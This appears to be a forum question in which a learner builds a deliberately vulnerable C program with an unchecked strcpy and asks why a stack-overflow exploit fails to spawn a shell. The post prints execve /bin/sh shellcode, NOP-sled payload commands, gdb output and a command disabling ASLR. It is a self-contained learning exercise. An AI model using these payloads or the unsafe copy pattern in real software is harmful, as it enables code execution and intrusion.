I am currently working on a buffer overflow using my own program to learn the very basics. I have already successfully executed functions already present in the code by overwrite RIP/EIP, but right now, the goal right now is to gain a shell.
To do so, I made this little exploitable piece of code:
#include <stdio.h> /* printf */ #include <stdlib.h> /* EXIT_SUCCESS, EXIT_FAILURE */ #include <string.h> /* strcpy */ int main(int argc, char **argv) { char buffer[300]; if (argc < 2) return EXIT_FAILURE; strcpy(&buffer[0], argv[1]); printf("Input: '%s'\n", &buffer[0]); return EXIT_SUCCESS; }
Compilation is done with the following line: gcc bof.c -o bof -fno-stack-protector
The program happens to exit normally until 312 bytes are sent in.
- Why does it start crashing at 312 bytes and not 301 bytes ?
- Are the 12 bytes the size of the stack ?
- Does this number actually matter in a case of an attack ?
Then I have been trying a few things such as using a shellcode, however with no success.
gdb-peda$ r $(python -c 'print "A" * 311' + "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05") Starting program: /tmp/bof $(python -c 'print "A" * 311' + "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05") Input: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' [Inferior 1 (process 11295) exited normally] Warning: not running or target is remote
To note: the shellcode is actually a x64 bin/sh execve.
I have been stuck on this one for days right now and don't know how to solve it, I'd be thankful if someone could help me on this matter.
Edit:
Now I understood it a little better thanks to @DKNUCKLES & @Miles Budnek, I have been able to conduct more tests and have made some advancements. However, after successfully overwriting EIP with the buffer address, the crash appeared to be within the shellcode itself.
The vulnerable test binary above was compiled with the following flags: gcc vuln.c -o vuln -fno-stack-protector -zexecstack -m32
. To that, I made sure to disable ASLR with the following command: echo "0" > /proc/sys/kernel/randomize_va_space
.
- Here, it slides correctly through the NOP instructions until the shellcode, and a few bytes after the begining of the shell code, it crashes: https://pastebin.com/rfT8HK5Q
- Here, For some reason I had the idea of moving NOP bytes from before the shell code to the end and it successfully worked: https://pastebin.com/PvBDFEU6
- Here, same as above, but without GDB, doesn't open a shell:
$ ./vuln $(python -c 'print "\x90" * 66 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90" * 30 + "\x84\xcc\xff\xff" + "\x90" * 180') Input: '������������������������������������������������������������������1�Ph//shh/bin��PS�ᙰ ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������' Segmentation fault (core dumped) $
(I also tried adding a cat | before the call to the vulnerable program, but with not success).